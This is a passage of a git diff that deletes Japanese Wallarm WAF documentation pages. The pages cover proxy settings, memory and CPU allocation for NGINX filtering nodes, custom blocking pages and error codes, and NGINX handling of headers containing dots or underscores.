-``` - -## all-in-oneスクリプトの実行 - -[all-in-one](../../installation/nginx/all-in-one.md)インストーラーでフィルタリングノードをインストールする際は、スクリプトを実行するコマンドに`--preserve-env=https_proxy,no_proxy`フラグを付加してください。例： - -``` -sudo --preserve-env=https_proxy,no_proxy env WALLARM_LABELS='group=' sh wallarm-.-glibc.sh -``` - -これにより、インストール処理中にプロキシ設定（`https_proxy`、`no_proxy`）が正しく適用されます。 - -## インストール後のアクセス - -ノードをインストールしたら、`/opt/wallarm/env.list`ファイルでプロキシ経由でのWallarm APIへのアクセスを設定する必要があります。変数とその値はインストール時と同じです。 - -!!! info "設定ファイルの有無" - `/opt/wallarm/env.list`ファイルは、ノードをインストールするまで存在しません。 - -設定ファイルを変更したら、wallarmサービスを再起動してください： - -``` -sudo systemctl restart wallarm -``` \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configuration-guides/allocate-resources-for-node.md b/docs/latest-ja/admin-en/configuration-guides/allocate-resources-for-node.md deleted file mode 100644 index 6083b1745f..0000000000 --- a/docs/latest-ja/admin-en/configuration-guides/allocate-resources-for-node.md +++ /dev/null @@ -1,95 +0,0 @@ -# Wallarm NGINXノードのリソース割り当て - -Wallarm NGINXノードに割り当てるメモリおよびCPUリソースの量は、リクエスト処理の品質と速度を左右します。本ドキュメントでは、セルフホスト型NGINXノードのメモリ割り当てに関する推奨事項を説明します。 - -NGINXフィルタリングノードの主なメモリおよびCPUの消費源は次の2つです。 - -* [wstore](#wstore)、別名**postanalyticsモジュール**です。これはローカルのデータ分析バックエンドであり、フィルタリングノードにおける主なメモリ消費源です。 -* [NGINX](#nginx)は、フィルタリングノードおよびリバースプロキシの主要コンポーネントです。 - -NGINXのCPU使用率は、RPSの水準、リクエストおよびレスポンスの平均サイズ、ノードが処理するカスタムルールセットのルール数、Base64やデータ圧縮などのデータエンコーディングの種類やレイヤーなど、多くの要因に依存します。 - -平均すると、CPUコア1つで約500 RPSを処理できます。本番モードでの運用時は、NGINXプロセスに少なくともCPUコア1つ、wstoreプロセスにコア1つを割り当てることを推奨します。多くの場合、最初はフィルタリングノードを過剰にプロビジョニングし、実際の本番トラフィックレベルにおけるCPUとメモリの使用状況を確認したうえで、割り当てリソースを徐々に適正水準まで減らすことを推奨します（トラフィックのスパイクやノード冗長性に備えて、最低でも2倍の余裕を確保します）。 - -## wstore - ---8<-- "../include/allocate-resources-for-waf-node/wstore-memory.md" - -### Kubernetes Ingress Controllerでのリソース割り当て - ---8<-- "../include/allocate-resources-for-waf-node/wstore-memory-ingress-controller.md" - -### All-in-One Installerを使用する場合のリソース割り当て - -wstoreのメモリサイズは、`/opt/wallarm/env.list`構成ファイル内の`SLAB_ALLOC_ARENA`属性で制御します。以下の手順でメモリを割り当てます。 - -1. 編集のために`/opt/wallarm/env.list`ファイルを開きます： - - ```bash - sudo vim /opt/wallarm/env.list - ``` -1. メモリサイズを指定するように`SLAB_ALLOC_ARENA`属性を設定します。値には整数または浮動小数点数を使用できます（小数点はドット`.`です）。例： - ``` - SLAB_ALLOC_ARENA=1.0 - ``` -1. Wallarmサービスを再起動します： - ``` - sudo systemctl restart wallarm.service - ``` - -### Amazon Machine Imageを使用する場合のリソース割り当て - -* Wallarmノードは、割り当てられたリソースをwstoreとNGINXの間で自動的に分配します。 -* [Wallarm NGINX Node AMI](https://aws.amazon.com/marketplace/pp/prodview-5rl4dgi4wvbfe)からWallarmノードインスタンスを起動する場合、テスト用途には`t3.medium`インスタンスタイプ、本番には`m4.xlarge`の使用を推奨します。 - -## NGINX - -NGINXのメモリ消費は多くの要因に左右されます。平均的には次の式で見積もれます。 - -``` -Number of concurrent request * Average request size * 3 -``` - -例： - -* フィルタリングノードはピーク時に10000件の同時リクエストを処理し、 -* リクエストの平均サイズは5 kBです。 - -NGINXのメモリ消費は次のように見積もれます。 - -``` -10000 * 5 kB * 3 = 150000 kB (or ~150 MB) -``` - -**メモリ量を割り当てるには：** - -* NGINX Ingress controllerのPod（`ingress-controller`）の場合、`helm install`または`helm upgrade`の`--set`オプションを使用して、`values.yaml`ファイル内で次のセクションを設定します。 - ``` - controller: - resources: - limits: - cpu: 400m - memory: 3280Mi - requests: - cpu: 200m - memory: 1640Mi - ``` - - パラメータを変更するコマンドの例： - - === "Ingress controllerのインストール" - ```bash - helm install --set controller.resources.limits.cpu='2000m',controller.resources.limits.memory='3280Mi' wallarm/wallarm-ingress -n - ``` - - 正しくIngress controllerをインストールするには、[その他のパラメータ](../configure-kubernetes-en.md#additional-settings-for-helm-chart)も必要です。これらも`--set`オプションで指定してください。 - === "Ingress controllerのパラメータ更新" - ```bash - helm upgrade --reuse-values --set controller.resources.limits.cpu='2000m',controller.resources.limits.memory='3280Mi' wallarm/wallarm-ingress -n - ``` - -* その他のデプロイ方法では、NGINXの構成ファイルを使用します。 - -## トラブルシューティング - -Wallarmノードが想定以上のメモリやCPUを消費する場合は、リソース使用量を削減するために、[CPU高負荷のトラブルシューティング](../../troubleshooting/performance.md#wallarm-node-consumes-too-much-cpu)に記載された推奨事項を確認し、適用してください。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configuration-guides/configure-block-page-and-code.md b/docs/latest-ja/admin-en/configuration-guides/configure-block-page-and-code.md deleted file mode 100644 index 7dd1e6b3d5..0000000000 --- a/docs/latest-ja/admin-en/configuration-guides/configure-block-page-and-code.md +++ /dev/null @@ -1,593 +0,0 @@ -# ブロッキングページとエラーコードの設定（NGINX） - -本手順では、ブロックされたリクエストへの応答で返されるブロッキングページおよびエラーコードをカスタマイズする方法を説明します。本設定はセルフホスト型のNGINXノードにのみ該当します。 - -カスタムのブロッキングページは、以下の理由でブロックされたリクエストに対する応答として返されます: - -* リクエストに次の種類の悪意あるペイロードが含まれている場合: [入力値検証攻撃](../../attacks-vulns-list.md#attack-types)、[vpatch攻撃](../../user-guides/rules/vpatch-rule.md)、または[正規表現に基づいて検出された攻撃](../../user-guides/rules/regex-rule.md)。 -* 上記の悪意あるペイロードを含むリクエストが[graylistに登録されたIPアドレス](../../user-guides/ip-lists/overview.md)から送信され、ノードがsafe blocking[モード](../configure-wallarm-mode.md)でリクエストをフィルタリングしている場合。 -* リクエストが[denylistに登録されたIPアドレス](../../user-guides/ip-lists/overview.md)から送信された場合。 - -## 設定の制限事項 - -ブロッキングページとエラーコードの設定は、セルフホスト型のNGINXベースのWallarmノードのデプロイでサポートされますが、Native Nodeではサポートされません。 - -## 設定方法 - -デフォルトでは、レスポンスコード403とデフォルトのNGINXブロッキングページがクライアントに返されます。以下のNGINXディレクティブを使用してデフォルト設定を変更できます: - -* `wallarm_block_page` -* `wallarm_block_page_add_dynamic_path` - -### NGINXディレクティブ`wallarm_block_page` - -`wallarm_block_page` NGINXディレクティブに次のパラメータを渡すことで、ブロッキングページとエラーコードを設定できます: - -* ブロッキングページのHTMまたはHTMLファイルへのパス。カスタムのブロッキングページ、またはWallarmが提供する[サンプルのブロッキングページ](#customizing-sample-blocking-page)のパスを指定できます。 -* ブロックされたリクエストに対する応答で返すメッセージの本文。 -* クライアントをリダイレクトするURL。 -* `response_code`: レスポンスコード。 -* `type`: 指定した設定を返す対象となるブロック済みリクエストの種類。以下の一覧から1つまたは複数（カンマ区切り）を指定できます: - - * `attack`（デフォルト）: ブロッキングまたはsafe blocking[モード](../configure-wallarm-mode.md)でフィルタリングノードによりブロックされたリクエスト。 - * `acl_ip`: 単一IPまたはサブネットとして[denylist](../../user-guides/ip-lists/overview.md)に追加されているIPアドレスからのリクエスト。 - * `acl_source`: [denylist](../../user-guides/ip-lists/overview.md)に登録された国・地域・データセンターに属するIPアドレスからのリクエスト。 - -`wallarm_block_page`ディレクティブは、以下の形式でこれらのパラメータを受け付けます: - -* ブロッキングページのHTMまたはHTMLファイルへのパス、エラーコード（任意）、ブロック済みリクエストの種類（任意） - - ```bash - wallarm_block_page &/ response_code= type=; - ``` - - Wallarmはサンプルのブロッキングページを提供しており、[カスタマイズ](#customizing-sample-blocking-page)の出発点として使用できます。ページは次のパスにあります: - - === "All-in-oneインストーラー、AMIまたはGCPイメージ、NGINXベースのDockerイメージ" - ``` - &/opt/wallarm/usr/share/nginx/html/wallarm_blocked.html - ``` - === "その他のデプロイ方法" - ``` - &/usr/share/nginx/html/wallarm_blocked.html - ``` - - ブロッキングページ内で[NGINX変数](https://nginx.org/en/docs/varindex.html)を使用できます。その場合、`${variable_name}`形式で変数名をブロッキングページのコードに追加します。例えば、`${remote_addr}`でブロックされたリクエストの送信元IPアドレスを表示できます。 - - !!! warning "DebianおよびCentOSユーザーへの重要な情報" - CentOS/DebianリポジトリからインストールされたNGINX 1.11未満のバージョンを使用している場合、動的なブロッキングページを正しく表示するために、ページのコードから`request_id`変数を削除する必要があります: - ``` - UUID ${request_id} - ``` - - これは`wallarm_blocked.html`およびカスタムのブロックページの双方に適用されます。 - - [設定例 →](#path-to-the-htm-or-html-file-with-the-blocking-page-and-error-code) -* クライアントのリダイレクト先URL、およびブロック済みリクエストの種類（任意） - - ``` bash - wallarm_block_page / type=; - ``` - - [設定例 →](#url-for-the-client-redirection) -* 名前付きNGINX`location`、およびブロック済みリクエストの種類（任意） - - ``` bash - wallarm_block_page @ type=; - ``` - - [設定例 →](#named-nginx-location) -* HTMまたはHTMLファイルへのパスを設定する変数名、エラーコード（任意）、ブロック済みリクエストの種類（任意） - - ``` bash - wallarm_block_page & response_code= type=; - ``` - - !!! warning "コード内でNGINX変数を使用するブロッキングページの初期化" - この方法で、コード内に[NGINX変数](https://nginx.org/en/docs/varindex.html)を用いるブロッキングページを設定する場合は、ディレクティブ[`wallarm_block_page_add_dynamic_path`](#nginx-directive-wallarm_block_page_add_dynamic_path)を使用して当該ページを初期化してください。 - - [設定例 →](#variable-and-error-code) - -`wallarm_block_page`ディレクティブは、NGINX設定ファイルの`http`、`server`、`location`各ブロック内に設定できます。 - -### NGINXディレクティブ`wallarm_block_page_add_dynamic_path` - -`wallarm_block_page_add_dynamic_path`ディレクティブは、コード内でNGINX変数を使用しており、かつそのブロッキングページへのパスも変数で指定されているブロッキングページを初期化するために使用します。その他の場合は、このディレクティブは使用しません。 - -このディレクティブは、NGINX設定ファイルの`http`ブロック内に設定できます。 - -## サンプルのブロッキングページのカスタマイズ - -Wallarmが提供するサンプルのブロッキングページは次のとおりです: - -![Wallarmのブロッキングページ](../../images/configuration-guides/blocking-page-provided-by-wallarm-36.png) - -このサンプルページをカスタマイズの出発点として用い、次のような拡張が可能です: - -* 会社のロゴを追加する — 既定ではページにロゴは表示されません。 -* 会社のサポート用メールアドレスを追加する — 既定ではメールリンクは使用されず、`contact us`という文言はリンクのない単なるテキストです。 -* その他のHTML要素を変更する、または独自の要素を追加する。 - -!!! info "カスタムブロッキングページのバリエーション" - Wallarm提供のサンプルページを変更する代わりに、ゼロからカスタムページを作成してもかまいません。 - -### 一般的な手順 - -サンプルページ自体を直接変更すると、Wallarmコンポーネントのアップデート時に変更が失われる場合があります。そのため、サンプルページをコピーして新しい名前を付け、その後に変更することを推奨します。以下のセクションに記載のとおり、インストール形態に応じて操作してください。 - -**コピー用サンプルページ** - -フィルタリングノードをインストールした環境にある`/usr/share/nginx/html/wallarm_blocked.html`（`/opt/wallarm/usr/share/nginx/html/wallarm_blocked.html`）をコピーできます。別案として、以下のコードをコピーし、新しいファイルとして保存してください: - -??? info "サンプルページのコードを表示" - - ```html - - - - - - - - You are blocked - - - - - - -
      - - -
      -
      - - - - - -
      Malicious activity blocked
      -
      Your request is blocked since it was identified as a malicious one.
      -
      -
      -
      Why it happened
      -
      - You might have used symbols similar to a malicious code sequence, or uploaded a specific file. -
      - -
      - -
      What to do
      -
      - If your request is considered to be legitimate, please contact us and provide your last action description and the following data: -
      - -
      - IP ${remote_addr}
      - Blocked on ${time_iso8601}
      - UUID ${request_id} -
      - - -
      -
      -
      -
      - - - ``` - -**共通ファイルシステム** - -`/usr/share/nginx/html/wallarm_blocked.html`（`/opt/wallarm/usr/share/nginx/html/wallarm_blocked.html`）のコピーを、新しい名前で任意の場所（同じフォルダ内でも可、NGINXが読み取り可能である必要があります）に作成できます。 - -**Dockerコンテナ** - -サンプルのブロッキングページを変更する、またはゼロから独自のページを用意するには、Dockerの[bind mount](https://docs.docker.com/storage/bind-mounts/)機能を利用できます。これを使用すると、ホストマシン上のページとNGINX設定ファイルがコンテナにコピーされ、元ファイルへの参照として扱われるため、ホスト側のファイルを変更するとコンテナ側のコピーに同期され、逆も同様です。 - -そのため、サンプルのブロッキングページを変更する、または独自のページを提供するには、次の手順を実施してください: - -1. 初回の実行前に、[準備](#copy)した変更済み`wallarm_blocked_renamed.html`を用意します。 -1. ブロッキングページへのパスを記載したNGINX設定ファイルを用意します。[設定例](#path-to-the-htm-or-html-file-with-the-blocking-page-and-error-code)を参照してください。 -1. コンテナを実行し、準備したブロッキングページと設定ファイルを[マウント](../installation-docker-en.md#run-the-container-mounting-the-configuration-file)します。 -1. 稼働中のコンテナ内のブロッキングページを後から更新する必要がある場合は、ホストマシン上の参照元`wallarm_blocked_renamed.html`を変更し、コンテナ内のNGINXを再起動してください。 - -**Ingressコントローラ** - -サンプルのブロッキングページを変更する、または独自のページを用意するには、次を実施します: - -1. 変更済み`wallarm_blocked_renamed.html`を[準備](#copy)します。 -1. `wallarm_blocked_renamed.html`から[ConfigMapを作成](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#create-configmaps-from-files)します。 -1. [作成したConfigMapを、Wallarm IngressコントローラのPodにマウント](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#populate-a-volume-with-data-stored-in-a-configmap)します。そのために、[手順](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#populate-a-volume-with-data-stored-in-a-configmap)に従って、Wallarm Ingressコントローラに対応するDeploymentオブジェクトを更新してください。 - - !!! info "ConfigMapのマウント先ディレクトリ" - ConfigMapのマウント先ディレクトリに既存のファイルがある場合は削除されます。 -1. Ingressのアノテーションを指定し、Podにカスタムページの使用を指示します: - - ```bash - kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-block-page="" - ``` - -詳細な[例](#ingress-annotations)をご覧ください。 - -### よく行われる変更 - -会社のロゴを追加するには、`wallarm_blocked_renamed.html`ファイルの次の部分を編集してコメントアウトを解除してください: - -```html -
      - -``` - -会社のサポート用メールアドレスを追加するには、`wallarm_blocked_renamed.html`ファイルの`SUPPORT_EMAIL`変数を編集してください: - -```html - -``` - -値に`$`を含むカスタム変数を初期化する場合は、変数名の前に`{wallarm_dollar}`を付けてこの記号をエスケープします。例: `${wallarm_dollar}{variable_name}`。`wallarm_dollar`変数は`&`を返します。 - -## 設定例 - -以下は、`wallarm_block_page`および`wallarm_block_page_add_dynamic_path`ディレクティブでブロッキングページとエラーコードを設定する例です。 - -各例では`wallarm_block_page`ディレクティブの`type`パラメータを明示的に指定しています。`type`パラメータを省略した場合、設定したブロックページやメッセージなどは、ブロッキングまたはsafe blocking[モード](../configure-wallarm-mode.md)でフィルタリングノードによりブロックされたリクエストへの応答にのみ返されます。 - -### ブロッキングページのHTMまたはHTMLファイルとエラーコードのパス - -この例では、以下の応答設定を示します: - -* [変更済み](#customizing-sample-blocking-page)のWallarmサンプルブロッキングページ`/opt/wallarm/usr/share/nginx/html/wallarm_blocked_renamed.html`とエラーコード445を、フィルタリングノードがブロッキングまたはsafe blockingモードでリクエストをブロックした場合に返します。 -* カスタムブロッキングページ`/usr/share/nginx/html/block.html`とエラーコード445を、denylistに登録された任意のIPアドレスからのリクエストの場合に返します。 - -#### NGINX設定ファイル - -```bash -wallarm_block_page &/opt/wallarm/usr/share/nginx/html/wallarm_blocked_renamed.html response_code=445 type=attack; -wallarm_block_page &/usr/share/nginx/html/block.html response_code=445 type=acl_ip,acl_source; -``` - -Dockerコンテナに設定を適用するには、適切な設定を含むNGINX設定ファイルを、`wallarm_blocked_renamed.html`および`block.html`ファイルとともにコンテナへマウントします。[設定ファイルをマウントしてコンテナを起動 →](../installation-docker-en.md#run-the-container-mounting-the-configuration-file) - -#### Ingressアノテーション - -Ingressアノテーションを追加する前に: - -1. 攻撃ブロック用の変更済み`wallarm_blocked_renamed.html`と、denylistのIPからのブロック用`wallarm_blocked_renamed-2.html`を[準備](#copy)します。 -1. [ファイルからConfigMapを作成します](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#create-configmaps-from-files): - - ``` - kubectl -n create configmap customized-pages --from-file=wallarm_blocked_renamed.html --from-file=wallarm_blocked_renamed-2.html - ``` - -1. 作成したConfigMapをWallarm IngressコントローラのPodに[mount]((https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#populate-a-volume-with-data-stored-in-a-configmap))するには、次を実施します: - - * Ingressチャートのデプロイに使用しているvalues.yamlを更新します: - - ``` - controller: - wallarm: - <...> - # -- Additional volumeMounts to the controller main container. - extraVolumeMounts: - - name: custom-block-pages - mountPath: /usr/share/nginx/blockpages - # -- Additional volumes to the controller pod. - extraVolumes: - - name: custom-block-pages - configMap: - name: customized-pages - <...> - ``` - - * コントローラのリリースに変更を適用します: - - ``` - helm -n upgrade wallarm/wallarm-ingress --reuse-values -f values.yaml - ``` - - !!! info "ConfigMapのマウント先ディレクトリ" - ConfigMapのマウント先ディレクトリに既存ファイルがあると削除される可能性があるため、ConfigMapでマウントするファイル用に新しいディレクトリを作成することを推奨します。 - -Ingressアノテーション: - -```bash -kubectl -n annotate ingress nginx.ingress.kubernetes.io/wallarm-block-page="&/usr/share/nginx/blockpages/wallarm_blocked_renamed.html response_code=445 type=attack;&/usr/share/nginx/blockpages/wallarm_blocked_renamed-2.html response_code=445 type=acl_ip,acl_source" -``` - -#### Podアノテーション（Sidecarコントローラ使用時） - -`sidecar.wallarm.io/wallarm-block-page`[アノテーション](../../installation/kubernetes/sidecar-proxy/pod-annotations.md)を使用して、Pod単位でブロックページを設定できます。例: - -```yaml hl_lines="18" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/wallarm-mode: block - sidecar.wallarm.io/wallarm-block-page: "&/path/to/block/page1.html response_code=403 type=attack;&/path/to/block/page2.html response_code=403 type=acl_ip,acl_source" - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` - -### クライアントリダイレクト用URL - -この例では、denylistに登録された国・地域・データセンターからのリクエストをフィルタリングノードがブロックした場合、クライアントを`host/err445`のページへリダイレクトする設定を示します。 - -#### NGINX設定ファイル - -```bash -wallarm_block_page /err445 type=acl_source; -``` - -Dockerコンテナに設定を適用するには、適切な設定を含むNGINX設定ファイルをコンテナへマウントします。[設定ファイルをマウントしてコンテナを起動 →](../installation-docker-en.md#run-the-container-mounting-the-configuration-file) - -#### Ingressアノテーション - -```bash -kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-block-page="/err445 type=acl_source" -``` - -### 名前付きNGINX`location` - -この例では、リクエストがどの理由でブロックされた場合（ブロッキングまたはsafe blockingモード、送信元が単一IP/サブネット/国または地域/データセンターとしてdenylistに登録されている場合）でも、クライアントにメッセージ`The page is blocked`とエラーコード445を返す設定を示します。 - -#### NGINX設定ファイル - -```bash -wallarm_block_page @block type=attack,acl_ip,acl_source; -location @block { - return 445 'The page is blocked'; -} -``` - -Dockerコンテナに設定を適用するには、適切な設定を含むNGINX設定ファイルをコンテナへマウントします。[設定ファイルをマウントしてコンテナを起動 →](../installation-docker-en.md#run-the-container-mounting-the-configuration-file) - -#### Ingressアノテーション - -```bash -kubectl annotate ingress -n nginx.ingress.kubernetes.io/server-snippet="location @block {return 445 'The page is blocked';}" -kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-block-page="@block type=attack,acl_ip,acl_source" -``` - -### 変数とエラーコード - -この設定は、送信元が単一IPまたはサブネットとしてdenylistに登録されている場合にクライアントへ返されます。Wallarmノードはコード445と、`User-Agent`ヘッダーの値に応じて内容が変わるブロッキングページを返します: - -* 既定では、[変更済み](#customizing-sample-blocking-page)のWallarmサンプルブロッキングページ`/opt/wallarm/usr/share/nginx/html/wallarm_blocked_renamed.html`が返されます。ブロッキングページのコードでNGINX変数を使用しているため、このページは`wallarm_block_page_add_dynamic_path`ディレクティブで初期化する必要があります。 -* Firefoxユーザーには`/usr/share/nginx/html/block_page_firefox.html`（Wallarm Ingressコントローラをデプロイしている場合は、カスタムブロックページ用に別ディレクトリを作成することを推奨します。例:`/usr/custom-block-pages/block_page_firefox.html`）を返します: - - ```bash - You are blocked! - - IP ${remote_addr} - Blocked on ${time_iso8601} - UUID ${request_id} - ``` - - このページはブロッキングページのコードでNGINX変数を使用しているため、`wallarm_block_page_add_dynamic_path`ディレクティブで初期化する必要があります。 -* Chromeユーザーには`/usr/share/nginx/html/block_page_chrome.html`（Wallarm Ingressコントローラをデプロイしている場合は、カスタムブロックページ用に別ディレクトリを作成することを推奨します。例:`/usr/custom-block-pages/block_page_chrome.html`）を返します: - - ```bash - You are blocked! - ``` - - このページはブロッキングページのコードでNGINX変数を使用していないため、初期化は不要です。 - -#### NGINX設定ファイル - -```bash -wallarm_block_page_add_dynamic_path /usr/share/nginx/html/block_page_firefox.html /opt/wallarm/usr/share/nginx/html/wallarm_blocked_renamed.html; - -map $http_user_agent $block_page { - "~Firefox" &/usr/share/nginx/html/block_page_firefox.html; - "~Chrome" &/usr/share/nginx/html/block_page_chrome.html; - default &/opt/wallarm/usr/share/nginx/html/wallarm_blocked_renamed.html; -} - -wallarm_block_page $block_page response_code=445 type=acl_ip; -``` - -Dockerコンテナに設定を適用するには、適切な設定を含むNGINX設定ファイルを、`wallarm_blocked_renamed.html`、`block_page_firefox.html`、`block_page_chrome.html`ファイルとともにコンテナへマウントします。[設定ファイルをマウントしてコンテナを起動 →](../installation-docker-en.md#run-the-container-mounting-the-configuration-file) - -#### Ingressコントローラ - -1. コマンド[`helm upgrade`](https://helm.sh/docs/helm/helm_upgrade/)を使用して、デプロイ済みのHelmチャートにパラメータ`controller.config.http-snippet`を渡します: - - ```bash - helm upgrade --reuse-values --set controller.config.http-snippet='wallarm_block_page_add_dynamic_path /usr/custom-block-pages/block_page_firefox.html /opt/wallarm/usr/share/nginx/html/wallarm_blocked_renamed.html; map $http_user_agent $block_page { "~Firefox" &/usr/custom-block-pages/block_page_firefox.html; "~Chrome" &/usr/custom-block-pages/block_page_chrome.html; default &/opt/wallarm/usr/share/nginx/html/wallarm_blocked_renamed.html;}' wallarm/wallarm-ingress -n - ``` -2. `wallarm_blocked_renamed.html`、`block_page_firefox.html`、`block_page_chrome.html`から[ConfigMapを作成](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#create-configmaps-from-files)します。 -3. 作成したConfigMapをWallarm IngressコントローラのPodにマウントします。そのために、[手順](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#populate-a-volume-with-data-stored-in-a-configmap)に従って、Wallarm Ingressコントローラに対応するDeploymentオブジェクトを更新してください。 - - !!! info "ConfigMapのマウント先ディレクトリ" - ConfigMapのマウント先ディレクトリに既存ファイルがあると削除される可能性があるため、ConfigMapでマウントするファイル用に新しいディレクトリを作成することを推奨します。 -4. 次のアノテーションをIngressに追加します: - - ```bash - kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-block-page='$block_page response_code=445 type=acl_ip' - ``` \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configuration-guides/handling-invalid-headers.md b/docs/latest-ja/admin-en/configuration-guides/handling-invalid-headers.md deleted file mode 100644 index 8aceaee089..0000000000 --- a/docs/latest-ja/admin-en/configuration-guides/handling-invalid-headers.md +++ /dev/null @@ -1,222 +0,0 @@ -# NGINXが無効と見なすヘッダーの処理 - -既定では、NGINXは名前に`.`や`_`を含むヘッダーなど、無効と見なしたヘッダーを破棄します。これによりWallarmはこれらのヘッダーを認識および解析できず、セキュリティのカバレッジが低下します。お使いの環境でこのようなヘッダーを有効と見なす場合は、本記事に従って許可してください。 - -## 問題の概要 - -[RFC 7230](https://www.rfc-editor.org/rfc/rfc7230?utm_source=chatgpt.com#section-3.2.6)によれば、`.`や`_`などの文字はHTTPヘッダーフィールド名として有効です。ただし既定では、NGINXはそのようなヘッダーを破棄します。 - -APIでこれらのヘッダーを正当に使用している場合、削除されると次のようなWallarmの制限が発生します: - -* [API Discovery](../../api-discovery/overview.md)はドロップされたヘッダーを認識できず、インベントリに含めません -* [攻撃検知](../../user-guides/events/check-attack.md)はこれらのヘッダーに適用されません - -これらの問題を回避するには、NGINXがそれらを受け入れて転送するように設定してください。 - -## 解決策 - -NGINXで次のディレクティブを有効にします: - -* [`underscores_in_headers on;`](https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers) -* [`ignore_invalid_headers off;`](https://nginx.org/en/docs/http/ngx_http_core_module.html#ignore_invalid_headers) - -これらの設定により、NGINXが`.`や`_`を含むものも含めてすべてのヘッダーを保持し、Wallarmが検査できるようになります。 - -## 各種デプロイメント形態での適用方法 - -### All-in-oneインストーラー、AWS AMIおよびGCPマシンイメージ - -[All-in-oneインストーラー](../../installation/nginx/all-in-one.md)、[AWS AMI](../../installation/packages/aws-ami.md)または[GCPマシンイメージ](../../installation/packages/gcp-machine-image.md)からWallarm Nodeをインストールする場合: - -1. `/etc/nginx/nginx.conf`を編集します。 -1. `http {}`ブロック内に次を追加します: - - ``` - underscores_in_headers on; - ignore_invalid_headers off; - ``` -1. NGINXをリロードします: - - ``` - sudo nginx -s reload - ``` - -### Dockerイメージ - -[DockerでWallarm Nodeを実行する場合](../installation-docker-en.md)、これらのディレクティブを含む設定ファイルをマウントします: - -1. Nodeの設定を含む`/etc/nginx/nginx.conf`を作成します。 - - 以下は、Nodeの動作に必要な最小構成の内容です: - - ```hl_lines="15-16" - #user wallarm; - worker_processes auto; - pid /run/nginx.pid; - include /etc/nginx/modules/*.conf; - - events { - worker_connections 768; - # multi_accept on; - } - - http { - # serverブロックへのapifwの自動インクルード - wallarm_srv_include /etc/nginx/wallarm-apifw-loc.conf; - - underscores_in_headers on; - ignore_invalid_headers off; - - upstream wallarm_wstore { - server localhost:3313 max_fails=0 fail_timeout=0 max_conns=1; - keepalive 1; - } - wallarm_wstore_upstream wallarm_wstore; - ## - # 基本設定 - ## - - sendfile on; - tcp_nopush on; - tcp_nodelay on; - keepalive_timeout 65; - types_hash_max_size 2048; - # server_tokens off; - - # server_names_hash_bucket_size 64; - # server_name_in_redirect off; - - include /etc/nginx/mime.types; - default_type application/octet-stream; - - ## - # SSL設定 - ## - - ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # SSLv3を無効化、参考: POODLE - ssl_prefer_server_ciphers on; - - ## - # ログ設定 - ## - - access_log /var/log/nginx/access.log; - error_log /var/log/nginx/error.log; - - ## - # Gzip設定 - ## - - gzip on; - - # gzip_vary on; - # gzip_proxied any; - # gzip_comp_level 6; - # gzip_buffers 16 8k; - # gzip_http_version 1.1; - # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; - - - ## - # バーチャルホスト設定 - Wallarm - ## - - include /etc/nginx/conf.d/*.conf; - - ## - # バーチャルホスト設定 - ユーザー - ## - - include /etc/nginx/http.d/*; - } - ``` -1. `wallarm-apifw-loc.conf`ファイルを`/etc/nginx/wallarm-apifw-loc.conf`パスにマウントします。内容は次のとおりです: - - ``` - location ~ ^/wallarm-apifw(.*)$ { - wallarm_mode off; - proxy_pass http://127.0.0.1:8088$1; - error_page 404 431 = @wallarm-apifw-fallback; - error_page 500 502 503 504 = @wallarm-apifw-fallback; - allow 127.0.0.8/8; - deny all; - } - - location @wallarm-apifw-fallback { - wallarm_mode off; - return 500 "API FW fallback"; - } - ``` -1. 下記の内容で`/etc/nginx/conf.d/wallarm-status.conf`ファイルをマウントします。提供された設定の行を変更しないことが極めて重要です。変更すると、Wallarm cloudへのノードメトリクスの正常なアップロードに支障をきたす可能性があります。 - - ``` - server { - listen 127.0.0.8:80; - - server_name localhost; - - allow 127.0.0.0/8; - deny all; - - wallarm_mode off; - disable_acl "on"; - wallarm_enable_apifw off; - access_log off; - - location ~/wallarm-status$ { - wallarm_status on; - } - } - ``` -1. NGINXの設定ファイル内で、`/wallarm-status`エンドポイントに対して次の設定を行います: - - ``` - location /wallarm-status { - # 許可するアドレスはWALLARM_STATUS_ALLOW変数の値と一致させてください - allow xxx.xxx.x.xxx; - allow yyy.yyy.y.yyy; - deny all; - wallarm_status on format=prometheus; - wallarm_mode off; - } - ``` -1. [これらのファイルを所定のパスにマウントしてコンテナを実行します](../installation-docker-en.md#run-the-container-mounting-the-configuration-file)。 - -### NGINX Ingress Controller - -[Wallarm NGINXベースのIngress Controller](../installation-kubernetes-en.md)の場合、サポートされているConfigMapキーを使用します: - -1. 次の内容で[ConfigMapを作成します](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#create-configmaps-from-files): - - ```yaml - apiVersion: v1 - kind: ConfigMap - metadata: - name: nginx-configuration - namespace: ingress-nginx - data: - enable-underscores-in-headers: "true" - ignore-invalid-headers: "false" - ``` -1. `values.yaml`でConfigMapのパスを指定します。 - -### Sidecar Proxy - -[Wallarm Sidecar Proxy](../../installation/kubernetes/sidecar-proxy/deployment.md)を使用する場合、アノテーションを使用して必要なアプリケーションPodのレベルでディレクティブを挿入します: - -```yaml hl_lines="8-10" -apiVersion: apps/v1 -kind: Deployment -... -spec: - template: - metadata: - annotations: - sidecar.wallarm.io/nginx-http-snippet: | - underscores_in_headers on; - ignore_invalid_headers off; -``` - -### Security Edge - -[Wallarm Security 